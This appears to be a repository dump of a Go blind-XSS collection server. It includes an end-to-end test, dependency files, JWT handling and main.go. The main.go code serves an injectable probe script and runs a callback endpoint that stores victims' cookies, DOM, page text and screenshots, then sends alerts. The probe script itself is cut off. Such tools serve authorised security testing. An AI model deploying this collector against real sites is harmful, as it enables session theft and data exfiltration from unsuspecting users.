212 | 213 | 214 | 215 | `; 216 | 217 | await triggerXSSWithCustomHTML(page, context, specialCharsHTML, randomKey); 218 | 219 | await page.goto('http://localhost:1449/admin'); 220 | await clearCookies(context); 221 | await login(page); 222 | 223 | await page.locator('.action_button').filter({ hasText: 'Expand' }).first().click(); 224 | 225 | // Check that special characters were captured correctly 226 | await expect(page.locator('.modal_div')).toContainText('Special Characters:'); 227 | await expect(page.locator('.modal_div')).toContainText('HTML entities:'); 228 | await expect(page.locator('.modal_div')).toContainText('Emojis:'); 229 | }); 230 | -------------------------------------------------------------------------------- /e2e/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "baseUrl": "./", 4 | "paths": { 5 | "*": ["./node_modules/*"] 6 | }, 7 | "typeRoots": ["./node_modules/@types"] 8 | } 9 | } -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module go-xss 2 | 3 | go 1.24.0 4 | 5 | require ( 6 | github.com/containrrr/shoutrrr v0.8.0 7 | github.com/golang-jwt/jwt/v5 v5.2.2 8 | github.com/google/uuid v1.6.0 9 | github.com/lib/pq v1.10.9 10 | github.com/mattn/go-sqlite3 v1.14.28 11 | golang.org/x/crypto v0.38.0 12 | ) 13 | 14 | require ( 15 | github.com/fatih/color v1.16.0 // indirect 16 | github.com/mattn/go-colorable v0.1.13 // indirect 17 | github.com/mattn/go-isatty v0.0.20 // indirect 18 | golang.org/x/sys v0.33.0 // indirect 19 | google.golang.org/protobuf v1.33.0 // indirect 20 | ) 21 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/containrrr/shoutrrr v0.8.0 h1:mfG2ATzIS7NR2Ec6XL+xyoHzN97H8WPjir8aYzJUSec= 2 | github.com/containrrr/shoutrrr v0.8.0/go.mod h1:ioyQAyu1LJY6sILuNyKaQaw+9Ttik5QePU8atnAdO2o= 3 | github.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM= 4 | github.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE= 5 | github.com/go-logr/logr v1.2.3 h1:2DntVwHkVopvECVRSlL5PSo9eG+cAkDCuckLubN+rq0= 6 | github.com/go-logr/logr v1.2.3/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= 7 | github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572 h1:tfuBGBXKqDEevZMzYi5KSi8KkcZtzBcTgAUUtapy0OI= 8 | github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= 9 | github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk= 10 | github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= 11 | github.com/golang-jwt/jwt/v5 v5.2.2 h1:Rl4B7itRWVtYIHFrSNd7vhTiz9UpLdi6gZhZ3wEeDy8= 12 | github.com/golang-jwt/jwt/v5 v5.2.2/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= 13 | github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= 14 | github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= 15 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 16 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 17 | github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38 h1:yAJXTCF9TqKcTiHJAE8dj7HMvPfh66eeA2JYW7eFpSE= 18 | github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= 19 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 20 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 21 | github.com/jarcoal/httpmock v1.3.0 h1:2RJ8GP0IIaWwcC9Fp2BmVi8Kog3v2Hn7VXM3fTd+nuc= 22 | github.com/jarcoal/httpmock v1.3.0/go.mod h1:3yb8rc4BI7TCBhFY8ng0gjuLKJNquuDNiPaZjnENuYg= 23 | github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= 24 | github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= 25 | github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= 26 | github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= 27 | github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= 28 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= 29 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= 30 | github.com/mattn/go-sqlite3 v1.14.24 h1:tpSp2G2KyMnnQu99ngJ47EIkWVmliIizyZBfPrBWDRM= 31 | github.com/mattn/go-sqlite3 v1.14.24/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= 32 | github.com/mattn/go-sqlite3 v1.14.27 h1:drZCnuvf37yPfs95E5jd9s3XhdVWLal+6BOK6qrv6IU= 33 | github.com/mattn/go-sqlite3 v1.14.27/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= 34 | github.com/mattn/go-sqlite3 v1.14.28 h1:ThEiQrnbtumT+QMknw63Befp/ce/nUPgBPMlRFEum7A= 35 | github.com/mattn/go-sqlite3 v1.14.28/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y= 36 | github.com/onsi/ginkgo/v2 v2.9.2 h1:BA2GMJOtfGAfagzYtrAlufIP0lq6QERkFmHLMLPwFSU= 37 | github.com/onsi/ginkgo/v2 v2.9.2/go.mod h1:WHcJJG2dIlcCqVfBAwUCrJxSPFb6v4azBwgxeMeDuts= 38 | github.com/onsi/gomega v1.27.6 h1:ENqfyGeS5AX/rlXDd/ETokDz93u0YufY1Pgxuy/PvWE= 39 | github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg= 40 | golang.org/x/crypto v0.35.0 h1:b15kiHdrGCHrP6LvwaQ3c03kgNhhiMgvlhxHQhmg2Xs= 41 | golang.org/x/crypto v0.35.0/go.mod h1:dy7dXNW32cAb/6/PRuTNsix8T+vJAqvuIy5Bli/x0YQ= 42 | golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE= 43 | golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc= 44 | golang.org/x/crypto v0.38.0 h1:jt+WWG8IZlBnVbomuhg2Mdq0+BBQaHbtqHEFEigjUV8= 45 | golang.org/x/crypto v0.38.0/go.mod h1:MvrbAqul58NNYPKnOra203SB9vpuZW0e+RRZV+Ggqjw= 46 | golang.org/x/net v0.21.0 h1:AQyQV4dYCvJ7vGmJyKki9+PBdyvhkSd8EIx/qb0AYv4= 47 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 48 | golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 49 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 50 | golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc= 51 | golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 52 | golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20= 53 | golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 54 | golang.org/x/sys v0.33.0 h1:q3i8TbbEz+JRD9ywIRlyRAQbM0qF7hu24q3teo2hbuw= 55 | golang.org/x/sys v0.33.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 56 | golang.org/x/text v0.22.0 h1:bofq7m3/HAFvbF51jz3Q9wLg3jkvSPuiZu/pD1XwgtM= 57 | golang.org/x/text v0.22.0/go.mod h1:YRoo4H8PVmsu+E3Ou7cqLVH8oXWIHVoX0jqUWALQhfY= 58 | golang.org/x/tools v0.7.0 h1:W4OVu8VVOaIO0yzWMNdepAulS7YfoS3Zabrm8DOXXU4= 59 | golang.org/x/tools v0.7.0/go.mod h1:4pg6aUX35JBAogB10C9AtvVL+qowtN4pT3CGSQex14s= 60 | google.golang.org/protobuf v1.33.0 h1:uNO2rsAINq/JlFpSdYEKIZ0uKD/R9cpdv0T+yoGwGmI= 61 | google.golang.org/protobuf v1.33.0/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= 62 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 63 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 64 | -------------------------------------------------------------------------------- /jwt.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/ed25519" 5 | "crypto/rand" 6 | "log" 7 | "net/http" 8 | "time" 9 | 10 | jwt "github.com/golang-jwt/jwt/v5" 11 | ) 12 | 13 | var jwtSecretPublic, jwtSecretPrivate = generate_jwt_secret() 14 | 15 | type Claims struct { 16 | payload string 17 | jwt.RegisteredClaims 18 | } 19 | 20 | func generate_jwt_secret() (ed25519.PublicKey, ed25519.PrivateKey) { 21 | publicKey, privateKey, err := ed25519.GenerateKey(rand.Reader) 22 | if err != nil { 23 | log.Fatalf("Failed to generate ed25519 key pair: %v", err) 24 | } 25 | return publicKey, privateKey 26 | } 27 | 28 | func generate_and_set_jwt(w http.ResponseWriter) { 29 | expiration_time := time.Now().Add(12 * time.Hour) 30 | jwt, err := generate_jwt(expiration_time) 31 | if err != nil { 32 | http.Error(w, err.Error(), http.StatusInternalServerError) 33 | return 34 | } 35 | http.SetCookie(w, &http.Cookie{ 36 | Name: "jwt", 37 | Value: jwt, 38 | Expires: expiration_time, 39 | Path: "/", 40 | Secure: true, //r.TLS != nil, 41 | }) 42 | } 43 | 44 | func get_and_validate_jwt(r *http.Request) bool { 45 | cookie, err := r.Cookie("jwt") 46 | if err != nil { 47 | return false 48 | } 49 | 50 | return validate_jwt(cookie.Value) 51 | } 52 | 53 | func validate_jwt(token string) bool { 54 | parsed_token, err := jwt.Parse(token, func(token *jwt.Token) (interface{}, error) { 55 | return jwtSecretPublic, nil 56 | }) 57 | if err != nil { 58 | return false 59 | } 60 | return parsed_token.Valid 61 | } 62 | 63 | func generate_jwt(expiration_time time.Time) (string, error) { 64 | time := time.Now() 65 | claims := &Claims{ 66 | payload: time.String(), 67 | RegisteredClaims: jwt.RegisteredClaims{ 68 | ExpiresAt: jwt.NewNumericDate(expiration_time), 69 | }, 70 | } 71 | token := jwt.NewWithClaims(jwt.SigningMethodEdDSA, claims) 72 | return token.SignedString(jwtSecretPrivate) 73 | } 74 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "compress/gzip" 6 | "crypto/rand" 7 | "crypto/rsa" 8 | "crypto/tls" 9 | "crypto/x509" 10 | "crypto/x509/pkix" 11 | "fmt" 12 | "io" 13 | "log" 14 | "math/big" 15 | "os" 16 | "regexp" 17 | "strconv" 18 | "time" 19 | 20 | "net/http" 21 | 22 | "github.com/google/uuid" 23 | ) 24 | 25 | func main() { 26 | fmt.Println("Initializing...") 27 | initialize_database() 28 | PrintVersion() 29 | fmt.Println("Initialized") 30 | make_folder_if_not_exists(get_screenshot_directory()) 31 | 32 | cert, err := generateSelfSignedCertificate() 33 | if err != nil { 34 | fmt.Println("Error generating self-signed certificate:", err) 35 | return 36 | } 37 | 38 | server := &http.Server{ 39 | Addr: ":1449", 40 | ReadHeaderTimeout: 5 * time.Second, 41 | TLSConfig: &tls.Config{ 42 | Certificates: []tls.Certificate{cert}, 43 | MinVersion: tls.VersionTLS12, 44 | }, 45 | } 46 | 47 | mux := http.NewServeMux() 48 | 49 | mux.HandleFunc("/", probeHandler) 50 | mux.HandleFunc("/js_callback", jscallbackHandler) 51 | mux.HandleFunc("/health", healthHandler) 52 | mux.HandleFunc("/screenshots/", screenshotHandler) 53 | 54 | CONTROL_PANEL_ENABLED := get_env("CONTROL_PANEL_ENABLED") 55 | if CONTROL_PANEL_ENABLED == "show" || CONTROL_PANEL_ENABLED == "true" { 56 | fmt.Println("Control Panel Enabled") 57 | mux.HandleFunc("/admin", adminHandler) 58 | mux.HandleFunc(API_BASE_PATH+"/auth-check", authCheckHandler) 59 | mux.HandleFunc(API_BASE_PATH+"/settings", settingsHandler) 60 | mux.HandleFunc(API_BASE_PATH+"/login", loginHandler) 61 | mux.HandleFunc(API_BASE_PATH+"/payloadfires", payloadFiresHandler) 62 | mux.HandleFunc(API_BASE_PATH+"/collected_pages", collectedPagesHandler) 63 | mux.HandleFunc(API_BASE_PATH+"/record_injection", recordInjectionHandler) 64 | mux.HandleFunc(API_BASE_PATH+"/version", versionHandler) 65 | mux.HandleFunc(API_BASE_PATH+"/user_payloads", userPayloadsHandler) 66 | mux.HandleFunc(API_BASE_PATH+"/user_payload_importer", userPayloadImporterHandler) 67 | } 68 | 69 | // if err := http.ListenAndServe(":1449", nil); err != nil { 70 | // fmt.Println("Error starting server:", err) 71 | // } 72 | server.Handler = mux 73 | if os.Getenv("ENFORCE_CERT_FROM_GOLANG") == "true" { 74 | fmt.Println("Server is starting on port 1449 with https...") 75 | if err := server.ListenAndServeTLS("", ""); err != nil { 76 | fmt.Println("Error starting server:", err) 77 | } 78 | } else { 79 | fmt.Println("Server is starting on port 1449 with http...") 80 | if err := server.ListenAndServe(); err != nil { 81 | fmt.Println("Error starting server:", err) 82 | } 83 | } 84 | 85 | } 86 | 87 | func generateSelfSignedCertificate() (tls.Certificate, error) { 88 | privateKey, err := rsa.GenerateKey(rand.Reader, 2048) 89 | if err != nil { 90 | return tls.Certificate{}, err 91 | } 92 | 93 | template := x509.Certificate{ 94 | SerialNumber: big.NewInt(1), 95 | Subject: pkix.Name{ 96 | Organization: []string{"Your Organization"}, 97 | }, 98 | NotBefore: time.Now(), 99 | NotAfter: time.Now().Add(time.Hour * 24 * 365), 100 | KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, 101 | ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, 102 | BasicConstraintsValid: true, 103 | } 104 | 105 | derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &privateKey.PublicKey, privateKey) 106 | if err != nil { 107 | return tls.Certificate{}, err 108 | } 109 | 110 | cert := tls.Certificate{ 111 | Certificate: [][]byte{derBytes}, 112 | PrivateKey: privateKey, 113 | } 114 | 115 | return cert, nil 116 | } 117 | 118 | func set_secure_headers(w http.ResponseWriter, r *http.Request) { 119 | w.Header().Set("X-XSS-Protection", "mode=block") 120 | w.Header().Set("X-Content-Type-Options", "nosniff") 121 | w.Header().Set("X-Frame-Options", "DENY") 122 | 123 | if r.URL.Path[:4] == "/api" { 124 | w.Header().Set("Content-Security-Policy", "default-src 'none'; script-src 'none'") 125 | w.Header().Set("Content-Type", "application/json") 126 | } 127 | } 128 | 129 | func set_payload_headers(w http.ResponseWriter) { 130 | w.Header().Set("Content-Security-Policy", "default-src 'none'; script-src 'none'") 131 | w.Header().Set("Content-Type", "application/javascript") 132 | w.Header().Set("Access-Control-Allow-Origin", "*") 133 | w.Header().Set("Access-Control-Allow-Methods", "GET, OPTIONS") 134 | w.Header().Set("Access-Control-Allow-Headers", "Content-Type, X-Requested-With") 135 | w.Header().Set("Access-Control-Max-Age", "86400") 136 | } 137 | 138 | func set_callback_headers(w http.ResponseWriter) { 139 | w.Header().Set("Access-Control-Allow-Origin", "*") 140 | w.Header().Set("Access-Control-Allow-Methods", "POST, OPTIONS") 141 | w.Header().Set("Access-Control-Allow-Headers", "Content-Type, X-Requested-With") 142 | w.Header().Set("Access-Control-Max-Age", "86400") 143 | } 144 | 145 | func set_no_cache(w http.ResponseWriter) { 146 | w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") 147 | w.Header().Set("Pragma", "no-cache") 148 | } 149 | 150 | type JSCallbackSchema struct { 151 | URI string `json:"uri"` 152 | Cookies string `json:"cookies"` 153 | Referrer string `json:"referrer"` 154 | UserAgent string `json:"user-agent"` 155 | BrowserTime string `json:"browser-time"` 156 | ProbeUID string `json:"probe-uid"` 157 | Origin string `json:"origin"` 158 | InjectionKey string `json:"injection_key"` 159 | Title string `json:"title"` 160 | Text string `json:"text"` 161 | WasIframe string `json:"was_iframe"` 162 | DOM string `json:"dom"` 163 | } 164 | 165 | func jscallbackHandler(w http.ResponseWriter, r *http.Request) { 166 | set_callback_headers(w) 167 | 168 | // Send the response immediately, they don't need to wait for us to store everything. 169 | _, err := w.Write([]byte("OK")) 170 | if err != nil { 171 | fmt.Println("Error on write ok", err) 172 | } 173 | 174 | const MaxBodySize = 64 << 20 // 64MB 175 | 176 | r.Body = http.MaxBytesReader(nil, r.Body, MaxBodySize) 177 | buf := new(bytes.Buffer) 178 | _, err = io.Copy(buf, r.Body) 179 | if err != nil { 180 | fmt.Println("Error on readbody: ", err) 181 | return 182 | } 183 | 184 | body := buf.Bytes() 185 | 186 | // Go routine to close the connection and process the data 187 | go func(body []byte, ip_address string, host string) { 188 | r := &http.Request{ 189 | Body: io.NopCloser(bytes.NewReader(body)), 190 | Header: http.Header{"Content-Type": []string{r.Header.Get("Content-Type")}}, 191 | Host: host, 192 | } 193 | 194 | err := r.ParseMultipartForm(32 << 20) 195 | if err != nil { 196 | fmt.Println("Error on parse multiform", err) 197 | return 198 | } 199 | 200 | payload_fire_image_id := uuid.New().String() 201 | payload_fire_image_filename := get_screenshot_directory() + "/" + payload_fire_image_id + ".png.gz" 202 | 203 | // Grabbing Image and saving it 204 | for _, files := range r.MultipartForm.File { 205 | for _, file := range files { 206 | fileContent, err := file.Open() 207 | if err != nil { 208 | fmt.Println("Error on open: ", err) 209 | return 210 | } 211 | defer fileContent.Close() 212 | 213 | newFile, err := os.Create(payload_fire_image_filename) // #nosec G304 214 | if err != nil { 215 | fmt.Println("Error on create", err) 216 | return 217 | } 218 | defer newFile.Close() 219 | 220 | gw := gzip.NewWriter(newFile) 221 | defer gw.Close() 222 | 223 | _, err = io.Copy(gw, fileContent) 224 | if err != nil { 225 | fmt.Println("Error on copy", err) 226 | return 227 | } 228 | } 229 | } 230 | 231 | err = r.ParseForm() 232 | if err != nil { 233 | log.Fatal("Error Parse form", err) 234 | } 235 | 236 | browser_time, _ := strconv.ParseUint(r.FormValue("browser-time"), 10, 64) 237 | if browser_time > uint64(^uint(0)) { 238 | fmt.Println("Browser time is too large. Ignoring.") 239 | browser_time = 0 240 | } 241 | payload_fire_data := PayloadFireResults{ 242 | Url: r.FormValue("uri"), 243 | Ip_address: ip_address, 244 | Referer: r.FormValue("referrer"), 245 | User_agent: r.FormValue("user-agent"), 246 | Cookies: r.FormValue("cookies"), 247 | Title: r.FormValue("title"), 248 | Dom: r.FormValue("dom"), 249 | Text: r.FormValue("text"), 250 | Origin: r.FormValue("origin"), 251 | Screenshot_id: payload_fire_image_id, 252 | Was_iframe: r.FormValue("was_iframe") == "true", 253 | Browser_timestamp: uint(browser_time), 254 | Correlated_request: "No correlated request found for this injection.", 255 | Injection_requests_id: nil, 256 | } 257 | 258 | injection_key := r.FormValue("injection_key") 259 | if injection_key != "" { 260 | query := "SELECT id, request FROM injection_requests WHERE injection_key = $1" 261 | 262 | rows, err := db.Query(query, injection_key) 263 | if err != nil { 264 | fmt.Println("Error getting injection request:", err) 265 | } 266 | 267 | defer rows.Close() 268 | 269 | var injection_requests_id int 270 | var request string 271 | for rows.Next() { 272 | err := rows.Scan(&injection_requests_id, &request) 273 | if err != nil { 274 | fmt.Println("Error scanning injection request:", err) 275 | } 276 | } 277 | 278 | if request != "" { 279 | payload_fire_data.Correlated_request = request 280 | } 281 | 282 | if injection_requests_id != 0 { 283 | payload_fire_data.Injection_requests_id = &injection_requests_id 284 | } 285 | } 286 | 287 | payload_query := `INSERT INTO payload_fire_results 288 | (url, ip_address, referer, user_agent, cookies, title, dom, text, origin, screenshot_id, was_iframe, browser_timestamp, injection_requests_id) 289 | VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13)` 290 | 291 | _, err = db_prepare_execute(payload_query, payload_fire_data.Url, payload_fire_data.Ip_address, payload_fire_data.Referer, payload_fire_data.User_agent, payload_fire_data.Cookies, payload_fire_data.Title, payload_fire_data.Dom, payload_fire_data.Text, payload_fire_data.Origin, payload_fire_data.Screenshot_id, payload_fire_data.Was_iframe, payload_fire_data.Browser_timestamp, payload_fire_data.Injection_requests_id) 292 | if err != nil { 293 | fmt.Println("Error Inserting Payload Fire Data:", err) 294 | return 295 | } 296 | 297 | screenshot_url := generate_screenshot_url(r, payload_fire_image_id) 298 | send_notification("Payload Fire: A payload fire has been detected on "+payload_fire_data.Url, screenshot_url, payload_fire_data.Correlated_request) 299 | }(body, get_client_ip(r), r.Host) 300 | } 301 | 302 | func probeHandler(w http.ResponseWriter, r *http.Request) { 303 | set_payload_headers(w) 304 | 305 | college_pages := get_pages_to_collect() 306 | chainload_uri := get_chainload_uri() 307 | probe_id := r.URL.Path[1:] 308 | 309 | probe, err := os.ReadFile("./probe.js") 310 | if err != nil { 311 | log.Fatal("Error reading file:", err) 312 | } 313 | 314 | host := get_host(r) 315 | 316 | re := regexp.MustCompile(`\[HOST_URL\]`) 317 | xss_payload_1 := re.ReplaceAllString(string(probe), host) 318 | 319 | re = regexp.MustCompile(`\[COLLECT_PAGE_LIST_REPLACE_ME\]`) 320 | xss_payload_2 := re.ReplaceAllString(xss_payload_1, college_pages) 321 | 322 | re = regexp.MustCompile(`\[CHAINLOAD_REPLACE_ME\]`) 323 | xss_payload_3 := re.ReplaceAllString(xss_payload_2, chainload_uri) 324 | 325 | re = regexp.MustCompile(`\[PROBE_ID\]`) 326 | xss_payload_4 := re.ReplaceAllString(xss_payload_3, probe_id) 327 | 328 | _, errWrite := w.Write([]byte(xss_payload_4)) 329 | if errWrite != nil { 330 | log.Fatal("Fatal Error on write payload:", err) 331 | } 332 | } 333 | 334 | func adminHandler(w http.ResponseWriter, r *http.Request) { 335 | set_secure_headers(w, r) 336 | set_no_cache(w) 337 | is_authenticated := get_and_validate_jwt(r) 338 | if !is_authenticated { 339 | http.ServeFile(w, r, "./src/login.html") 340 | } else { 341 | http.ServeFile(w, r, "./src/admin.html") 342 | } 343 | } 344 | 345 | func healthHandler(w http.ResponseWriter, r *http.Request) { 346 | set_secure_headers(w, r) 347 | if establish_database_connection() != nil { 348 | _, err := w.Write([]byte("OK")) 349 | if err != nil { 350 | log.Fatal("Heathcheck Failed: ", err) 351 | } 352 | } else { 353 | w.WriteHeader(http.StatusInternalServerError) 354 | } 355 | } 356 | 357 | func screenshotHandler(w http.ResponseWriter, r *http.Request) { 358 | set_secure_headers(w, r) 359 | 360 | if get_env("SCREENSHOTS_REQUIRE_AUTH") == "true" { 361 | is_authenticated := get_and_validate_jwt(r) 362 | if !is_authenticated { 363 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 364 | return 365 | } 366 | } 367 | 368 | screenshotFilename := r.URL.Path[len("/screenshots/"):] 369 | 370 | SCREENSHOT_FILENAME_REGEX := regexp.MustCompile(`^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-4[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}\.png$`) 371 | if !SCREENSHOT_FILENAME_REGEX.MatchString(screenshotFilename) { 372 | http.NotFound(w, r) 373 | return 374 | } 375 | 376 | gzImagePath := get_screenshot_directory() + "/" + screenshotFilename + ".gz" 377 | 378 | imageExists := checkFileExists(gzImagePath) 379 | 380 | if !imageExists { 381 | http.NotFound(w, r) 382 | return 383 | } 384 | 385 | w.Header().Set("Content-Type", "image/png") 386 | w.Header().Set("Content-Encoding", "gzip") 387 | 388 | http.ServeFile(w, r, gzImagePath) 389 | } 390 | -------------------------------------------------------------------------------- /migrations.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "log" 4 | 5 | func do_migrations() { 6 | migration_one() 7 | 8 | } 9 | 10 | func check_if_migrations_has_ran(migration_name string) bool { 11 | has_migration, err := db_single_item_query("SELECT 1 FROM migrations WHERE name = $1", migration_name).toBool() 12 | if err != nil { 13 | log.Fatal("Fatal Error on check migration ran:", err) 14 | return false 15 | } 16 | 17 | return has_migration 18 | } 19 | 20 | func record_migration(migration_name string) { 21 | _, err := db_execute("INSERT INTO migrations (name) VALUES ($1)", migration_name) 22 | if err != nil { 23 | log.Fatal("Fatal Error on insert migration:", err) 24 | } 25 | } 26 | 27 | func migration_handler(name string, pgStmt string, sqliteStmt string) { 28 | if check_if_migrations_has_ran(name) { 29 | return 30 | } 31 | 32 | var sqlStmt string 33 | if is_postgres { 34 | sqlStmt = pgStmt 35 | } else { 36 | sqlStmt = sqliteStmt 37 | } 38 | 39 | _, err := db_execute(sqlStmt) 40 | if err != nil { 41 | log.Fatal("Migration ", err) 42 | } 43 | 44 | record_migration(name) 45 | } 46 | 47 | func migration_one() { 48 | name := "20240410_add_injection_request_id" 49 | 50 | pgStmt := ` 51 | ALTER TABLE payload_fire_results ADD COLUMN injection_requests_id INTEGER DEFAULT NULL; 52 | ALTER TABLE payload_fire_results ADD CONSTRAINT fk_injection_requests_id FOREIGN KEY (injection_requests_id) REFERENCES injection_requests(id); 53 | ` 54 | 55 | sqliteStmt := ` 56 | ALTER TABLE payload_fire_results ADD COLUMN injection_requests_id INTEGER DEFAULT NULL; 57 | ` 58 | 59 | migration_handler(name, pgStmt, sqliteStmt) 60 | } 61 | -------------------------------------------------------------------------------- /notifications.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | 7 | "github.com/containrrr/shoutrrr" 8 | "github.com/containrrr/shoutrrr/pkg/types" 9 | ) 10 | 11 | func send_notification(message string, screenshot_url string, correlated_request string) { 12 | notify_urls := get_env("NOTIFY") 13 | if notify_urls == "" { 14 | return 15 | } 16 | 17 | if !get_send_alerts() { 18 | return 19 | } 20 | 21 | message_with_screenshot := message + " " + screenshot_url 22 | 23 | if correlated_request != "No correlated request found for this injection." { 24 | message_with_screenshot += " At " + correlated_request 25 | } 26 | 27 | urls := strings.Split(notify_urls, ",") 28 | 29 | sender, err := shoutrrr.CreateSender(urls...) 30 | params := &types.Params{} 31 | sender.Send(message_with_screenshot, params) 32 | if err != nil { 33 | fmt.Println("Error sending notification:", err) 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /probe.js: -------------------------------------------------------------------------------- 1 | /* 2 | $$$$$$\ $$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$$$\ $$\ 3 | \_$$ _|$$$\ $$$ |$$ __$$\ $$ __$$\ $$ __$$\\__$$ __|$$ __$$\ $$$\ $$ |\__$$ __|$$ | 4 | $$ | $$$$\ $$$$ |$$ | $$ |$$ / $$ |$$ | $$ | $$ | $$ / $$ |$$$$\ $$ | $$ | $$ | 5 | $$ | $$\$$\$$ $$ |$$$$$$$ |$$ | $$ |$$$$$$$ | $$ | $$$$$$$$ |$$ $$\$$ | $$ | $$ | 6 | $$ | $$ \$$$ $$ |$$ ____/ $$ | $$ |$$ __$$< $$ | $$ __$$ |$$ \$$$$ | $$ | \__| 7 | $$ | $$ |\$ /$$ |$$ | $$ | $$ |$$ | $$ | $$ | $$ | $$ |$$ |\$$$ | $$ | 8 | $$$$$$\ $$ | \_/ $$ |$$ | $$$$$$ |$$ | $$ | $$ | $$ | $$ |$$ | \$$ | $$ | $$\ 9 | \______|\__| \__|\__| \______/ \__| \__| \__| \__| \__|\__| \__| \__| \__| 10 | 11 | 12 | $$$$$$$\ $$\ $$$$$$$\ $$\ 13 | $$ __$$\ $$ | $$ 